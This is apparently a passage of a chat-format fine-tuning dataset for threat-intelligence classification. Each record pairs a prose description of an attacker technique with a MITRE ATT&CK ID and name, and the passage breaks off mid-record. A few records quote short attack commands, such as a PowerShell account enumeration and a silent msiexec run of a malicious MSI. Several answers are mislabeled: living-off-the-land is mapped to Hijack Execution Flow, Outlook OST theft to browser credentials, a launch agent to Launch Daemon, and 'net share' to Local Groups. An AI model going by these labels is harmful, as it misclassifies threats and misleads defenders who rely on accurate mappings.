    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor injects a crafted .rwz file into the Outlook rules folder, causing Outlook to execute a malicious VBScript whenever the user opens the application."
            },
            {
                "role": "assistant",
                "content": "T1137.005 - Office Application Startup: Outlook Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT compromised service accounts and instantiated new DigitalOcean droplets to host exfiltration tools."
            },
            {
                "role": "assistant",
                "content": "T1578 - Modify Cloud Compute Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware drops an XSL file and calls msxsl.exe with the /f flag to execute a JavaScript payload that disables security tools."
            },
            {
                "role": "assistant",
                "content": "T1220 - XSL Script Processing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use remote management utilities like PDQ Deploy to push backdoor payloads to target machines during routine patch cycles."
            },
            {
                "role": "assistant",
                "content": "T1072 - Software Deployment Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder adjusts the timestamps on malicious executables to match those of legitimate system files."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker queries public CDN caches (e.g., Cloudflare, Akamai) to discover hidden internal IP addresses and service endpoints."
            },
            {
                "role": "assistant",
                "content": "T1596.004 - Search Open Technical Databases: CDNs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses legitimate system tools (living off the land) to execute commands."
            },
            {
                "role": "assistant",
                "content": "T1574 - Hijack Execution Flow"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyber criminals develop a digital certificate to impersonate a trusted service during credential harvesting."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses stolen AWS access keys to call Secrets Manager API and retrieve stored API keys."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool installs a hidden systemd timer that launches a keylogger service whenever the system is idle."
            },
            {
                "role": "assistant",
                "content": "T1053.006 - Scheduled Task/Job: Systemd Timers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary abuses the Windows UAC bypass technique by leveraging auto‑elevated COM objects."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor exploited a cross‑site scripting (XSS) flaw to inject HTML that replaces the site’s main content with a defacement note."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit captures a valid access token from a compromised service and re-injects it into a different process to perform lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1134 - Access Token Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious network tap was installed on the Ethernet cable of the target system to intercept and forward traffic."
            },
            {
                "role": "assistant",
                "content": "T1200 - Hardware Additions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor alters a shared Excel spreadsheet on a cloud storage folder, embedding a formula that downloads a payload upon calculation."
            },
            {
                "role": "assistant",
                "content": "T1080 - Taint Shared Content"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs the Windows command 'net view' to list all SMB shares on the corporate network."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries retrieved OAuth refresh tokens from a compromised web application and used them to obtain new access tokens."
            },
            {
                "role": "assistant",
                "content": "T1550 - Use Alternate Authentication Material"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Post-initial access, the adversary modified the corporate internal FAQ page to contain misleading security policies."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor leverages SNMP read access to download the entire MIB, harvesting routing tables and ACLs."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor injects malicious functions into a shared module that is automatically loaded by many processes on the system."
            },
            {
                "role": "assistant",
                "content": "T1129 - Shared Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses a ransomware module that also corrupts system restore points to prevent recovery."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By targeting service accounts without pre‑authentication, the malicious actor obtains encrypted AS‑REP data, which can be brute‑forced to retrieve valid Kerberos tickets."
            },
            {
                "role": "assistant",
                "content": "T1558.004 - Steal or Forge Kerberos Tickets: AS-REP Roasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors compromise a legitimate DNS server to redirect traffic to malicious sites."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A text message (SMS) delivers a shortened link that leads to a drive‑by download of spyware when opened on a mobile phone."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - User Execution: Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware creates a shared memory segment to transfer encryption keys between injected threads."
            },
            {
                "role": "assistant",
                "content": "T1559 - Inter-Process Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT employs the right-to-left override Unicode trick to make a phishing attachment appear as a PDF."
            },
            {
                "role": "assistant",
                "content": "T1036.002 - Masquerading: Right-to-Left Override"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An espionage group applies a custom base32 alphabet to encoded data prior to exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware variant includes a routine that clears Windows Event Logs before encrypting files to impede detection."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Credential theft is achieved by extracting saved Wi-Fi passwords from the system's profile store."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion technique involves staging data on the victim's system by moving files into a concealed folder."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Use of a crafted Outlook form that registers a COM add-in to persist malicious macros on user login."
            },
            {
                "role": "assistant",
                "content": "T1137.003 - Office Application Startup: Outlook Forms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor uses a domain‑parking service to acquire a domain and later hosts command‑and‑control infrastructure on it."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool queries the victim's DNS server for zone transfers to extract a list of all hosts."
            },
            {
                "role": "assistant",
                "content": "T1590.002 - Gather Victim Network Information: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code harvested GPP XML files from the domain controller's SYSVOL share, parsing the cpassword field to obtain plaintext service account passwords."
            },
            {
                "role": "assistant",
                "content": "T1552.006 - Unsecured Credentials: Group Policy Preferences"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential dumping tool extracts stored MFA seed values from the victim's device, enabling the attacker to generate valid tokens offline."
            },
            {
                "role": "assistant",
                "content": "T1556.006 - Modify Authentication Process: Multi-Factor Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operators harvested exploit code for a critical authentication bypass vulnerability from a compromised vendor's repository and used it to obtain credentials."
            },
            {
                "role": "assistant",
                "content": "T1588.006 - Obtain Capabilities: Vulnerabilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary runs 'powershell \"[ADSI]('WinNT://./')\"' to enumerate local user accounts on the system."
            },
            {
                "role": "assistant",
                "content": "T1087.001 - Account Discovery: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder accessed the Azure Sentinel portal with harvested credentials to view security logs and export alerts."
            },
            {
                "role": "assistant",
                "content": "T1538 - Cloud Service Dashboard"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker distributes spearphishing messages with malicious attachments to high‑value targets in order to exfiltrate sensitive data."
            },
            {
                "role": "assistant",
                "content": "T1598.001 - Phishing for Information: Spearphishing Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries employ ICMP echo requests to tunnel out sensitive files, using non-C2 protocols."
            },
            {
                "role": "assistant",
                "content": "T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware extracts and decodes obfuscated JavaScript code using built‑in Windows API functions before execution."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker reuses a compromised SSH private key to take over an existing remote shell without triggering authentication."
            },
            {
                "role": "assistant",
                "content": "T1563.001 - Remote Service Session Hijacking: SSH Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries intercept authentication cookies from a web session and modify them to impersonate a legitimate user."
            },
            {
                "role": "assistant",
                "content": "T1606 - Forge Web Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker sets up a reverse SSH tunnel, then uses a secondary covert channel over DNS tunneling to bypass network restrictions."
            },
            {
                "role": "assistant",
                "content": "T1104 - Multi-Stage Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During credential dumping, the malware also gathers unsecured SSH private keys left in temporary directories."
            },
            {
                "role": "assistant",
                "content": "T1552.004 - Unsecured Credentials: Private Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors placed a crafted .chm file on a compromised web server; when a user opened it, the file launched wscript.exe to execute embedded JavaScript, bypassing application controls."
            },
            {
                "role": "assistant",
                "content": "T1218.001 - System Binary Proxy Execution: Compiled HTML File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious PDF attachment is sent to a user with a deceptive subject line, aiming to execute code upon opening."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder exploits msiexec's ability to run custom actions by embedding a VBScript in an MSI and launching it with msiexec /i malicious.msi /qn, achieving code execution through the system binary."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - System Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a malicious macro in a Word document, the threat actor launches a JavaScript payload that enumerates user credentials."
            },
            {
                "role": "assistant",
                "content": "T1059.007 - Command and Scripting Interpreter: JavaScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker utilized a tool that strips or corrupts the digital signature of a legitimate binary, then reuses it to conduct illicit activities while appearing benign."
            },
            {
                "role": "assistant",
                "content": "T1036.001 - Masquerading: Invalid Code Signature"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary uses the Windows utility installutil.exe to execute a malicious .NET assembly as part of a persistence mechanism."
            },
            {
                "role": "assistant",
                "content": "T1218.004 - System Binary Proxy Execution: InstallUtil"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation module creates a new launch agent with the key \"RunAtLoad\" set to true and registers it as a login item for automatic execution on user logon."
            },
            {
                "role": "assistant",
                "content": "T1547.015 - Boot or Logon Autostart Execution: Login Items"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker compromised the private key of a code signing certificate stored in an unsecured source control repository and used it to sign ransomware."
            },
            {
                "role": "assistant",
                "content": "T1587.002 - Develop Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using XPC services, the attacker establishes a covert channel to synchronize malicious activities across multiple processes on macOS."
            },
            {
                "role": "assistant",
                "content": "T1559.003 - Inter-Process Communication: XPC Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An insider used Confluence's page export function to copy strategic planning documents to an external server."
            },
            {
                "role": "assistant",
                "content": "T1213.001 - Data from Information Repositories: Confluence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker accessed a corporate SharePoint library, downloaded project plans, and exfiltrated them via a DNS tunneling channel."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor registers an email account on a less‑monitored domain to serve as a relay for data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1585.002 - Establish Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor installs a cron job under the root user that executes a reverse shell every 15 minutes."
            },
            {
                "role": "assistant",
                "content": "T1053.003 - Scheduled Task/Job: Cron"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By modifying the Outlook Forms registry entries, the attacker ensures a malicious form loads on every Outlook startup, achieving T1137.003."
            },
            {
                "role": "assistant",
                "content": "T1137.003 - Office Application Startup: Outlook Forms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers compromised the PAM stack by deploying a custom pam_backdoor.so, enabling credential‑less authentication for privileged accounts."
            },
            {
                "role": "assistant",
                "content": "T1556.003 - Modify Authentication Process: Pluggable Authentication Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors accessed the internal helpdesk portal and replaced the support page with a defacement notice."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware enumerates network shares and their permissions using the 'net share' command."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the Windows API function NtAllocateVirtualMemory to allocate memory in a target process and then uses NtWriteVirtualMemory to copy a malicious payload."
            },
            {
                "role": "assistant",
                "content": "T1055.009 - Process Injection: Proc Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor configures a launch agent to start a reverse shell each time the user logs into the GUI."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors abuse the Image File Execution Options mechanism by creating a new subkey for notepad.exe and specifying a malicious executable as the debugger, achieving persistence through routine file openings."
            },
            {
                "role": "assistant",
                "content": "T1546.012 - Event Triggered Execution: Image File Execution Options Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code adds a fake module to the beginning of the module load order list, causing the system to load the attacker-controlled module first."
            },
            {
                "role": "assistant",
                "content": "T1574.008 - Hijack Execution Flow: Path Interception by Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware exfiltrates stored email credentials from Outlook's OST files."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group harvests OAuth refresh tokens from a compromised SaaS application to maintain persistent access to the victim's cloud environment."
            },
            {
                "role": "assistant",
                "content": "T1078.004 - Valid Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using PowerShell, the malicious script invokes the \\DC\\NTDS.dit file through a DCSync call to extract all user credentials from Active Directory."
            },
            {
                "role": "assistant",
                "content": "T1003.006 - OS Credential Dumping: DCSync"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages template injection to execute OS commands on the host by abusing the template engine's ability to call functions."
            },
            {
                "role": "assistant",
                "content": "T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Following data exfiltration, the threat group removes network share connections to hide their presence on the network."
            },
            {
                "role": "assistant",
                "content": "T1070.005 - Indicator Removal: Network Share Connection Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor purchases proprietary software source code and design documents for the victim's custom application from an online forum."
            },
            {
                "role": "assistant",
                "content": "T1597.002 - Search Closed Sources: Purchase Technical Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a race condition in a file system service, causing it to lock up and prevent any file operations."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages a vulnerability in the firewall management service to send a WMI command that disables the firewall."
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The technique includes embedding a payload within a CHM file and invoking it through the default HTML host, effectively proxying execution of the malicious payload."
            },
            {
                "role": "assistant",
                "content": "T1218.001 - System Binary Proxy Execution: Compiled HTML File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
